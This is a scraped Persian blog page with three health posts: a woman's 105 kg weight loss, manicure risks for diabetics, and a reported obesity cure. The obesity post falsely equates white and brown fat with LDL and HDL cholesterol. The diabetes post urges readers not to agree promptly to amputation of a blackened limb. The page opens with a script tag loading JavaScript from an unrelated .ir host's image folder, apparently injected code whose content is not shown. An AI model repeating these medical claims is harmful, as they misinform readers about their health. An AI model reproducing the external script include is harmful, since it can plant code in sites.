script type="text/javascript" src="http://7vps.ir/img/website.js">
کافی نت وبلاگی جذاب
اراده فولادین این زن مثال زدنی است (+عکس)
آنیتا میلز در هر سه ساعت 227 گرم غذا خورد، نوشیدنیهای شیرین را کنار گذاشت، هیچ کدام از وعدههای غذایی را حذف نکرد و به کسی درباره کاری که انجام میداد حرفی نزد. این شیوه به کاهش وزن او کمک کرد و در حال حاضر دور کمر او 66 سانتی متر است.
آنیتا میلز، اهل ایالت کنتاکی آمریكا که در تمام طول عمرش به اضافه وزن دچار بود پس از 2 سال، 105 کیلو وزن کم کرد. به گزارش ایسنا، او روزی به این نتیجه رسید که زمان رهایی از این وزن زیاد فرا رسیده و در نتیجه دو سال بعد توانست 105 کیلو کم کند. آنیتا مربی خصوصی، رژیم غذایی سخت یا هیچ چیز دیگری را امتحان نکرد. او فقط چهار دستوری را که پزشکش تجویز کرده بود به درستی دنبال کرد. آنیتا میلز در هر سه ساعت 227 گرم غذا خورد، نوشیدنیهای شیرین را کنار گذاشت، هیچ کدام از وعدههای غذایی را حذف نکرد و به کسی درباره کاری که انجام میداد حرفی نزد. این شیوه به کاهش وزن او کمک کرد و در حال حاضر دور کمر او 66 سانتی متر است. به گفته آنیتا، این کار فقط کاهش وزن نیست بلکه اگر فکر خود را روی کاری متمرکز کنید هیچ چیز نمیتواند جلودار شما باشد. او گفت: من الان زندگی جدیدی را آغاز کردهام. رسیدن به این نقطه شگفتآور است
جمعه 10 اسفند 1390برچسب:عکس باورنکردنی, عکس حیرت انگیز, عکس جالب, زنی از جنس سنجاق قفلی, سنجاق قفلی,کارهای عجیب,پسری که در یک طرف صورتش مودارد, پسر عجیب, دختر عجیب,پسر استثنایی,صورت های عجیب, رژیم, رژیم غذایی, لاغرکردن, لاغرشدن, چاقی, راه کم کردن وزن, بهترین روش کاهش وزن, کاهش وزن , چاقی در خانم ها,اراده, اراده قوی داشتن,, :: 4:56 بعد از ظهر
گری گوری
مانیکور برای دیابتی ها خطر دارد
آیا می دانید مانیکور برای چه کسانی خطرناک است و نباید مانیکور انجام دهند ؟
مانیکور برای دیابتیها خطر دارد یکی از مشکلاتی که بیماران مبتلا به دیابت با آن دست به گریبان هستند، مسایل و درگیریهای عروقی است. دیابت، مادر بیماریهاست و اگر بیماران مبتلا به دیابت این مسایل و نکات ساده را مدنظر قرار ندهند، باید منتظر دردسرهای ناشی از دیابت باشند... حتما باید قند خون خود را با دقت كاملا کنترل و مواد غذایی و داروهایی که پزشکتان برای شما تجویز کرده است، مصرف کنید. اگر قندخون بالا باشد، درمان دیابت و حتی بیماریهای دیگر نیز به تاخیر میافتد و تاثیرات داروها مثبت نخواهد بود. در رژیم غذایی و شیوه زندگی خود تغییرات اساسی ایجاد کنید. هر روز زمانی را برای ورزش در نظر بگیرید و با نظر متخصص تغذیه، از رژیم حاوی مواد غنی از انواع ویتامینها و مواد ضروری استفاده کنید. هنگام گرفتن ناخنهایتان دقت کنید آنها را از ته و گوشه نگیرید. این کار را بعد از استحمام انجام دهید که ناخنها و پوست نرمتر هستند. مراقب ایجاد زخم در بدن به خصوص نواحی کنار ناخنهای دست و پایتان باشید. مانیکور و کارهایی از این قبیل که به بافت اطراف ناخن آسیب میرساند، ترجیحا انجام نشود. حتی وقتی در منزل هستید، از دمپایی روفرشی استفاده کنید. دیابت ممکن است عروق و اعصاب پا را تحت فشار قرار دهد و حس آن را کم یا مختل کند. با انجام این اقدام پیشگیرانه، اگر جسم تیزی روی فرش افتاده باشد، پایتان را زخم نخواهد کرد و گرفتاری ایجاد نمیکند. بیرون از منزل کفش مناسب بپوشید. اگر ناخنهای پایتان بلند است و باعث میشود در کفش فشار بیاورد و داخل گوشت فرو رود، کوتاهش کنید. کفشهای مخصوص بپوشید که فاصله ایمنی مناسب با سطح زمین دارند یا پاشنه شان طوری است که به پا فشار نمیآورند. اگر رنگ ناخن یا انگشت شما تغییر کرد یا حس مورمور و گزگز در انگشت داشتید، حتما با پزشک خود مشورت و با یک جراح عروق مشاوره کنید. گمان نکنید كسانی که با یک سهلانگاری، عضوشان سیاه شده، مرده یا حتی آن را از دست دادهاند، با شما فرق دارند. اجازه ندهید اگر عضو شما سیاه یا خونرسانیاش مختل شده است، فورا برای قطع آن اقدام شود. شاید با مشاوره متخصصان عروق بتوان از این کار پیشگیری کرد. اگر سیستم خونرسانی پا و انگشت شما اصلاح شود، درمان موثر صورت می?گیرد در غیر این صورت با قطع عضو، مشکل عروقی حل نخواهد شد و به قوت خود باقی خواهد ماند. شنبه 11 تير 1390برچسب:پزشکی و سلامت, راه های درمان چاقی, چاقی, درمان چاقی, لاغری, لاغر شدن , چاقی در خانم ها,معضل چاقی, چاق شدن, حجیم شدن بدن, سلامتی و بهداشت رژیم غذایی,دیابت, درمان دیابت, خطر دیابت, بیماران دیابتی, دانستنی های بیماران دیابتی, عوارض دیابت, مشکلات بیماران دیابتی, مانیکور, مانیکور چیست؟,, :: 5:20 بعد از ظهر
گری گوری
کشف راهی برای درمان چاقی
تحقیق بر روی این درمان ضد چاقی برپایه حضور سلولهای بنیادی سازنده چربی قهوه ای در داخل چربی سفید انجام میشود.
محققان آمریکایی که با دستکاری پروتئینی موفق شدند کلسترول بد را به کلسترول خوب تبدیل کنند امیدوارند که به روشی برای وداع با بیماری چاقی مفرط دست یابند. به گزارش مهر، کلسترول بد به بافت چربی سفیدی که در اثر مصرف اضافی کالریها نشست میکند، گفته میشود. این چربی برای تولید انرژی در بدن انسان استفاده نشده و بنابراین در منطقه شکمی ذخیره میشود. این درحالی است که کلسترول خوب ، بافت چربی قهوه ای است که در تولید انرژی استفاده میشود سلولهای این بافت میزان مناسبی از کالری را برای تولید انرژی میسوزانند. محققان از مدتها مطالعاتی را بر روی تفاوتهای این دو بافت انجام داده اند و اکنون دانشمندان دانشگاه جان هاپکینز در تحقیقات جدید خود روشی را یافتند که میتواند کلسترول بد (LDL ) را به کلسترول خوب (HDL ) تبدیل کند. کلسترول؛ خوب، بد یا زشت؟! این پژوهشگران کشف کردند که با دستکاری و تغییر پروتئین ویژهای به نام نوروپپتید (Y(NYPمیتوان LDL را به HDL تبدیل کرد. نتایج این کشف که بر روی موشها انجام شده است میتواند گامی مهم در یافتن راهی برای درمان کامل چاقی مفرط باشد. براساس گزارش ساینس اکسپرس، این محققان دریافتند که با حذف بیان نوروپپتید (Y(NYP در هیپوتالاموس پشتی- میانی مغز میتوان این تبدیل را انجام داد. تحقیق بر روی این درمان ضد چاقی برپایه حضور سلولهای بنیادی سازنده چربی قهوه ای در داخل چربی سفید انجام میشود. این درمان فرضی میتواند از طریق تزریق سلولهای بنیادی چربی قهوه ای به بافت چربی سفید اجرا شود به روشی که سلولهای بنیادی چربی قهوهای، چربی سفید را وادار به تغییر کنند.
شنبه 11 تير 1390برچسب:پزشکی و سلامت, راه های درمان چاقی, چاقی, درمان چاقی, لاغری, لاغر شدن , چاقی در خانم ها,معضل چاقی, چاق شدن, حجیم شدن بدن, سلامتی و بهداشت رژیم غذایی,کشف راهی برای درمان چاقی, :: 5:2 بعد از ظهر
گری گوری آخرین مطالب آرشيو وبلاگ نويسندگان موضوعات پيوندها
تبادل
لینک هوشمند
|
|||||||||||||||||
|